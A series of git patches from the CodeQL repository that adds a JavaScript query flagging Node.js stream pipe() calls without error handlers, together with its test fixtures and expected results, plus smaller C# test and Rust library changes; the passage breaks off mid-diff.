...::open | Flow source 'FileSource' of type file (DEFAULT). | From 5941b3081c3a48084c21675fb961f8acabd89c0e Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 19 May 2025 13:44:09 +0200 Subject: [PATCH 260/535] C#: Convert tests for cs/missed-readonly-modifier to inline expectatations. --- .../MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs | 4 ++-- .../MissedReadonlyOpportunity/MissedReadonlyOpportunity.qlref | 3 ++- .../MissedReadonlyOpportunity/MissedReadonlyOpportunityBad.cs | 2 +- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs index 0ecb33abadcc..bfe6b3243d4a 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs +++ b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs @@ -1,7 +1,7 @@ class MissedReadonlyOpportunity { - public int Bad1; - public T Bad2; + public int Bad1; // $ Alert + public T Bad2; // $ Alert public readonly int Good1; public readonly int Good2 = 0; public const int Good3 = 0; diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.qlref b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.qlref index 28237dce311a..eb2e98d639dc 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.qlref @@ -1 +1,2 @@ -Language Abuse/MissedReadonlyOpportunity.ql +query: Language Abuse/MissedReadonlyOpportunity.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunityBad.cs b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunityBad.cs index 7bd3d8d31cd9..912141bb862b 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunityBad.cs +++ b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunityBad.cs @@ -1,6 +1,6 @@ class Bad { - int Field; + int Field; // $ Alert public Bad(int i) { From 3a1cd3f734959ac38db20c97d4e1789c0ceed1a3 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 19 May 2025 13:56:35 +0200 Subject: [PATCH 261/535] C#: Add cs/missed-readonly-modifier to the code-quality suite. --- .../posix/query-suite/csharp-code-quality.qls.expected | 1 + csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql | 1 + 2 files changed, 2 insertions(+) diff --git a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected index d1b40bd013e7..14934899e0d8 100644 --- a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected @@ -3,6 +3,7 @@ ql/csharp/ql/src/API Abuse/FormatInvalid.ql ql/csharp/ql/src/API Abuse/NoDisposeCallOnLocalIDisposable.ql ql/csharp/ql/src/Bad Practices/Control-Flow/ConstantCondition.ql ql/csharp/ql/src/Dead Code/DeadStoreOfLocal.ql +ql/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql ql/csharp/ql/src/Likely Bugs/Collections/ContainerLengthCmpOffByOne.ql ql/csharp/ql/src/Likely Bugs/Collections/ContainerSizeCmpZero.ql ql/csharp/ql/src/Likely Bugs/DangerousNonShortCircuitLogic.ql diff --git a/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql b/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql index b794700e79b0..a71876e8c7da 100644 --- a/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql +++ b/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql @@ -8,6 +8,7 @@ * @id cs/missed-readonly-modifier * @tags maintainability * language-features + * quality */ import csharp From c27157f02162a94b5b926560bb23f552d079454f Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 20 May 2025 12:45:11 +0200 Subject: [PATCH 262/535] Add `UnhandledStreamPipee` Quality query and tests to detect missing error handlers in `Node.js` streams --- .../ql/src/Quality/UnhandledStreamPipe.ql | 97 +++++++++++++ .../Quality/UnhandledStreamPipe/test.expected | 10 ++ .../Quality/UnhandledStreamPipe/test.js | 137 ++++++++++++++++++ .../Quality/UnhandledStreamPipe/test.qlref | 2 + 4 files changed, 246 insertions(+) create mode 100644 javascript/ql/src/Quality/UnhandledStreamPipe.ql create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql new file mode 100644 index 000000000000..bca1044ad1e6 --- /dev/null +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -0,0 +1,97 @@ +/** + * @id js/nodejs-stream-pipe-without-error-handling + * @name Node.js stream pipe without error handling + * @description Calling `pipe()` on a stream without error handling may silently drop errors and prevent proper propagation. + * @kind problem + * @problem.severity warning + * @precision high + * @tags quality + * frameworks/nodejs + */ + +import javascript + +/** + * A call to the `pipe` method on a Node.js stream. + */ +class PipeCall extends DataFlow::MethodCallNode { + PipeCall() { this.getMethodName() = "pipe" } + + /** Gets the source stream (receiver of the pipe call). */ + DataFlow::Node getSourceStream() { result = this.getReceiver() } + + /** Gets the destination stream (argument of the pipe call). */ + DataFlow::Node getDestinationStream() { result = this.getArgument(0) } +} + +/** + * Gets the method names used to register event handlers on Node.js streams. + * These methods are used to attach handlers for events like `error`. + */ +string getEventHandlerMethodName() { result = ["on", "once", "addListener"] } + +/** + * A call to register an event handler on a Node.js stream. + * This includes methods like `on`, `once`, and `addListener`. + */ +class StreamEventRegistration extends DataFlow::MethodCallNode { + StreamEventRegistration() { this.getMethodName() = getEventHandlerMethodName() } + + /** Gets the stream (receiver of the event handler). */ + DataFlow::Node getStream() { result = this.getReceiver() } +} + +/** + * Models flow relationships between streams and related operations. + * Connects destination streams to their corresponding pipe call nodes. + * Connects streams to their event handler registration nodes. + */ +predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) { + exists(PipeCall pipe | + streamNode = pipe.getDestinationStream() and + relatedNode = pipe + ) + or + exists(StreamEventRegistration handler | + streamNode = handler.getStream() and + relatedNode = handler + ) +} + +/** + * Gets a reference to a stream that may be the source of the given pipe call. + * Uses type back-tracking to trace stream references in the data flow. + */ +private DataFlow::SourceNode streamRef(DataFlow::TypeBackTracker t, PipeCall pipeCall) { + t.start() and + result = pipeCall.getSourceStream().getALocalSource() + or + exists(DataFlow::SourceNode prev | + prev = streamRef(t.continue(), pipeCall) and + streamFlowStep(result.getALocalUse(), prev) + ) + or + exists(DataFlow::TypeBackTracker t2 | result = streamRef(t2, pipeCall).backtrack(t2, t)) +} + +/** + * Gets a reference to a stream that may be the source of the given pipe call. + */ +private DataFlow::SourceNode streamRef(PipeCall pipeCall) { + result = streamRef(DataFlow::TypeBackTracker::end(), pipeCall) +} + +/** + * Holds if the source stream of the given pipe call has an `error` handler registered. + */ +predicate hasErrorHandlerRegistered(PipeCall pipeCall) { + exists(StreamEventRegistration handler | + handler = streamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) and + handler.getArgument(0).getStringValue() = "error" + ) +} + +from PipeCall pipeCall +where not hasErrorHandlerRegistered(pipeCall) +select pipeCall, + "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected new file mode 100644 index 000000000000..9f9866477032 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -0,0 +1,10 @@ +| test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:60:5:60:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:66:5:66:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:79:5:79:25 | s2.pipe ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:94:5:94:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:109:26:109:37 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js new file mode 100644 index 000000000000..6d7b05adb0f1 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -0,0 +1,137 @@ +function test() { + { + const stream = getStream(); + stream.pipe(destination); // $Alert + } + { + const stream = getStream(); + stream.pipe(destination); + stream.on('error', handleError); + } + { + const stream = getStream(); + stream.on('error', handleError); + stream.pipe(destination); + } + { + const stream = getStream(); + const s2 = stream; + s2.pipe(dest); // $Alert + } + { + const stream = getStream(); + stream.on('error', handleError); + const s2 = stream; + s2.pipe(dest); + } + { + const stream = getStream(); + const s2 = stream; + s2.on('error', handleError); + s2.pipe(dest); + } + { + const s = getStream().on('error', handler); + const d = getDest(); + s.pipe(d); + } + { + getStream().on('error', handler).pipe(dest); + } + { + const stream = getStream(); + stream.on('error', handleError); + const stream2 = stream.pipe(destination); + stream2.pipe(destination2); // $Alert + } + { + const stream = getStream(); + stream.on('error', handleError); + const destination = getDest(); + destination.on('error', handleError); + const stream2 = stream.pipe(destination); + const s3 = stream2; + s = s3.pipe(destination2); + } + { + const stream = getStream(); + stream.on('error', handleError); + const stream2 = stream.pipe(destination); + stream2.pipe(destination2); // $Alert + } + { // Error handler on destination instead of source + const stream = getStream(); + const dest = getDest(); + dest.on('error', handler); + stream.pipe(dest); // $Alert + } + { // Multiple aliases, error handler on one + const stream = getStream(); + const alias1 = stream; + const alias2 = alias1; + alias2.on('error', handleError); + alias1.pipe(dest); + } + { // Multiple pipes, handler after first pipe + const stream = getStream(); + const s2 = stream.pipe(destination1); + stream.on('error', handleError); + s2.pipe(destination2); // $Alert + } + { // Handler registered via .once + const stream = getStream(); + stream.once('error', handleError); + stream.pipe(dest); + } + { // Handler registered with arrow function + const stream = getStream(); + stream.on('error', (err) => handleError(err)); + stream.pipe(dest); + } + { // Handler registered for unrelated event + const stream = getStream(); + stream.on('close', handleClose); + stream.pipe(dest); // $Alert + } + { // Error handler registered after pipe, but before error + const stream = getStream(); + stream.pipe(dest); + setTimeout(() => stream.on('error', handleError), 8000); // $MISSING:Alert + } + { // Pipe in a function, error handler outside + const stream = getStream(); + function doPipe(s) { s.pipe(dest); } + stream.on('error', handleError); + doPipe(stream); + } + { // Pipe in a function, error handler not set + const stream = getStream(); + function doPipe(s) { s.pipe(dest); } // $Alert + doPipe(stream); + } + { // Dynamic event assignment + const stream = getStream(); + const event = 'error'; + stream.on(event, handleError); + stream.pipe(dest); // $SPURIOUS:Alert + } + { // Handler assigned via variable property + const stream = getStream(); + const handler = handleError; + stream.on('error', handler); + stream.pipe(dest); + } + { // Pipe with no intermediate variable, no error handler + getStream().pipe(dest); // $Alert + } + { // Handler set via .addListener synonym + const stream = getStream(); + stream.addListener('error', handleError); + stream.pipe(dest); + } + { // Handler set via .once after .pipe + const stream = getStream(); + stream.pipe(dest); + stream.once('error', handleError); + } +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref new file mode 100644 index 000000000000..23e2f65bab79 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref @@ -0,0 +1,2 @@ +query: Quality/UnhandledStreamPipe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql From f39bf62fc6a32c9718a222451851dd0e40ce5d79 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 20 May 2025 13:04:55 +0200 Subject: [PATCH 263/535] test: Add edge cases for stream pipe error handling Add tests for chained stream methods and non-stream pipe objects --- .../Quality/UnhandledStreamPipe/test.expected | 7 ++++ .../Quality/UnhandledStreamPipe/test.js | 32 +++++++++++++++++++ 2 files changed, 39 insertions(+) diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 9f9866477032..41e272f2e2d1 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -8,3 +8,10 @@ | test.js:109:26:109:37 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:139:5:139:87 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:147:5:147:28 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:151:20:151:43 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:157:47:157:74 | someVar ... ething) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:163:5:163:20 | notStream.pipe() | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:167:5:167:36 | notStre ... , arg3) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 6d7b05adb0f1..e13608dbe2f5 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -134,4 +134,36 @@ function test() { stream.pipe(dest); stream.once('error', handleError); } + { // Long chained pipe with error handler + const stream = getStream(); + stream.pause().on('error', handleError).setEncoding('utf8').resume().pipe(writable); // $SPURIOUS:Alert + } + { // Long chained pipe without error handler + const stream = getStream(); + stream.pause().setEncoding('utf8').resume().pipe(writable); // $Alert + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + notStream.pipe(writable).subscribe(); // $SPURIOUS:Alert + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + const result = notStream.pipe(writable); // $SPURIOUS:Alert + const dealWithResult = (result) => { result.subscribe(); }; + dealWithResult(result); + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + const pipeIt = (someVariable) => { return someVariable.pipe(something); }; // $SPURIOUS:Alert + let x = pipeIt(notStream); + x.subscribe(); + } + { // Calling custom pipe method with no arguments + const notStream = getNotAStream(); + notStream.pipe(); // $SPURIOUS:Alert + } + { // Calling custom pipe method with more then 2 arguments + const notStream = getNotAStream(); + notStream.pipe(arg1, arg2, arg3); // $SPURIOUS:Alert + } } From ef1bde554a1e21b964b5f46b408fcfcaa3384176 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 20 May 2025 13:13:05 +0200 Subject: [PATCH 264/535] Fixed issue where streams would not be tracked via chainable methods --- .../ql/src/Quality/UnhandledStreamPipe.ql | 23 +++++++++++++------ .../Quality/UnhandledStreamPipe/test.expected | 1 - .../Quality/UnhandledStreamPipe/test.js | 2 +- 3 files changed, 17 insertions(+), 9 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index bca1044ad1e6..4f16d100021f 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -30,21 +30,29 @@ class PipeCall extends DataFlow::MethodCallNode { */ string getEventHandlerMethodName() { result = ["on", "once", "addListener"] } +/** + * Gets the method names that are chainable on Node.js streams. + */ +string getChainableStreamMethodName() { + result = + [ + "setEncoding", "pause", "resume", "unpipe", "destroy", "cork", "uncork", "setDefaultEncoding", + "off", "removeListener", getEventHandlerMethodName() + ] +} + /** * A call to register an event handler on a Node.js stream. * This includes methods like `on`, `once`, and `addListener`. */ class StreamEventRegistration extends DataFlow::MethodCallNode { StreamEventRegistration() { this.getMethodName() = getEventHandlerMethodName() } - - /** Gets the stream (receiver of the event handler). */ - DataFlow::Node getStream() { result = this.getReceiver() } } /** * Models flow relationships between streams and related operations. * Connects destination streams to their corresponding pipe call nodes. - * Connects streams to their event handler registration nodes. + * Connects streams to their chainable methods. */ predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) { exists(PipeCall pipe | @@ -52,9 +60,10 @@ predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) relatedNode = pipe ) or - exists(StreamEventRegistration handler | - streamNode = handler.getStream() and - relatedNode = handler + exists(DataFlow::MethodCallNode chainable | + chainable.getMethodName() = getChainableStreamMethodName() and + streamNode = chainable.getReceiver() and + relatedNode = chainable ) } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 41e272f2e2d1..776c1c07def8 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -8,7 +8,6 @@ | test.js:109:26:109:37 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:139:5:139:87 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:147:5:147:28 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:151:20:151:43 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index e13608dbe2f5..61bee5078a0c 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -136,7 +136,7 @@ function test() { } { // Long chained pipe with error handler const stream = getStream(); - stream.pause().on('error', handleError).setEncoding('utf8').resume().pipe(writable); // $SPURIOUS:Alert + stream.pause().on('error', handleError).setEncoding('utf8').resume().pipe(writable); } { // Long chained pipe without error handler const stream = getStream(); From 30f28155038726227d43443b1429934f9698bb22 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 20 May 2025 14:43:14 +0200 Subject: [PATCH 265/535] Fixed issue where a custom `pipe` method which returns non stream would be flagged by the query --- .../ql/src/Quality/UnhandledStreamPipe.ql | 46 ++++++++++++++++++- .../Quality/UnhandledStreamPipe/test.expected | 3 -- .../Quality/UnhandledStreamPipe/test.js | 6 +-- 3 files changed, 48 insertions(+), 7 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 4f16d100021f..da2680e55314 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -41,6 +41,20 @@ string getChainableStreamMethodName() { ] } +/** + * Gets the method names that are not chainable on Node.js streams. + */ +string getNonchainableStreamMethodName() { + result = ["read", "write", "end", "pipe", "unshift", "push", "isPaused", "wrap", "emit"] +} + +/** + * Gets all method names commonly found on Node.js streams. + */ +string getStreamMethodName() { + result = [getChainableStreamMethodName(), getNonchainableStreamMethodName()] +} + /** * A call to register an event handler on a Node.js stream. * This includes methods like `on`, `once`, and `addListener`. @@ -67,6 +81,34 @@ predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) ) } +/** + * Tracks the result of a pipe call as it flows through the program. + */ +private DataFlow::SourceNode pipeResultTracker(DataFlow::TypeTracker t, PipeCall pipe) { + t.start() and result = pipe + or + exists(DataFlow::TypeTracker t2 | result = pipeResultTracker(t2, pipe).track(t2, t)) +} + +/** + * Gets a reference to the result of a pipe call. + */ +private DataFlow::SourceNode pipeResultRef(PipeCall pipe) { + result = pipeResultTracker(DataFlow::TypeTracker::end(), pipe) +} + +/** + * Holds if the pipe call result is used to call a non-stream method. + * Since pipe() returns the destination stream, this finds cases where + * the destination stream is used with methods not typical of streams. + */ +predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { + exists(DataFlow::MethodCallNode call | + call = pipeResultRef(pipeCall).getAMethodCall() and + not call.getMethodName() = getStreamMethodName() + ) +} + /** * Gets a reference to a stream that may be the source of the given pipe call. * Uses type back-tracking to trace stream references in the data flow. @@ -101,6 +143,8 @@ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { } from PipeCall pipeCall -where not hasErrorHandlerRegistered(pipeCall) +where + not hasErrorHandlerRegistered(pipeCall) and + not isPipeFollowedByNonStreamMethod(pipeCall) select pipeCall, "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 776c1c07def8..743b184c5152 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -9,8 +9,5 @@ | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:147:5:147:28 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:151:20:151:43 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:157:47:157:74 | someVar ... ething) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:163:5:163:20 | notStream.pipe() | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:167:5:167:36 | notStre ... , arg3) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 61bee5078a0c..c59abb6ab1e4 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -144,17 +144,17 @@ function test() { } { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) const notStream = getNotAStream(); - notStream.pipe(writable).subscribe(); // $SPURIOUS:Alert + notStream.pipe(writable).subscribe(); } { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) const notStream = getNotAStream(); - const result = notStream.pipe(writable); // $SPURIOUS:Alert + const result = notStream.pipe(writable); const dealWithResult = (result) => { result.subscribe(); }; dealWithResult(result); } { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) const notStream = getNotAStream(); - const pipeIt = (someVariable) => { return someVariable.pipe(something); }; // $SPURIOUS:Alert + const pipeIt = (someVariable) => { return someVariable.pipe(something); }; let x = pipeIt(notStream); x.subscribe(); } From 03d1f9a7d33820082e8d036e852a6881ac94ffef Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 20 May 2025 14:45:51 +0200 Subject: [PATCH 266/535] Restrict pipe detection to calls with 1-2 arguments --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 +- .../query-tests/Quality/UnhandledStreamPipe/test.expected | 2 -- .../ql/test/query-tests/Quality/UnhandledStreamPipe/test.js | 4 ++-- 3 files changed, 3 insertions(+), 5 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index da2680e55314..4580e1c32938 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -15,7 +15,7 @@ import javascript * A call to the `pipe` method on a Node.js stream. */ class PipeCall extends DataFlow::MethodCallNode { - PipeCall() { this.getMethodName() = "pipe" } + PipeCall() { this.getMethodName() = "pipe" and this.getNumArgument() = [1, 2] } /** Gets the source stream (receiver of the pipe call). */ DataFlow::Node getSourceStream() { result = this.getReceiver() } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 743b184c5152..2c52c7382040 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -9,5 +9,3 @@ | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:163:5:163:20 | notStream.pipe() | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:167:5:167:36 | notStre ... , arg3) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index c59abb6ab1e4..c80cd11c16b0 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -160,10 +160,10 @@ function test() { } { // Calling custom pipe method with no arguments const notStream = getNotAStream(); - notStream.pipe(); // $SPURIOUS:Alert + notStream.pipe(); } { // Calling custom pipe method with more then 2 arguments const notStream = getNotAStream(); - notStream.pipe(arg1, arg2, arg3); // $SPURIOUS:Alert + notStream.pipe(arg1, arg2, arg3); } } From 4ebf3adfdfffdfa78a2ac3d8dd91d95bf751d98e Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 21 May 2025 11:02:48 +0100 Subject: [PATCH 267/535] Rust: Address review comments. --- .../lib/codeql/rust/elements/ComparisonOperation.qll | 12 ++++++------ .../UncontrolledAllocationSizeExtensions.qll | 4 ++-- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll index 253dd0d19acb..cbd9ae91a27d 100644 --- a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll +++ b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll @@ -6,7 +6,7 @@ private import codeql.rust.elements.BinaryExpr private import codeql.rust.elements.Operation /** - * A comparison operation, such as `==`, `<` or `>=`. + * A comparison operation, such as `==`, `<`, or `>=`. */ abstract private class ComparisonOperationImpl extends Operation { } @@ -22,7 +22,7 @@ final class EqualityOperation = EqualityOperationImpl; /** * The equal comparison operation, `==`. */ -final class EqualOperation extends EqualityOperationImpl, BinaryExpr { +final class EqualOperation extends EqualityOperationImpl { EqualOperation() { this.getOperatorName() = "==" } } @@ 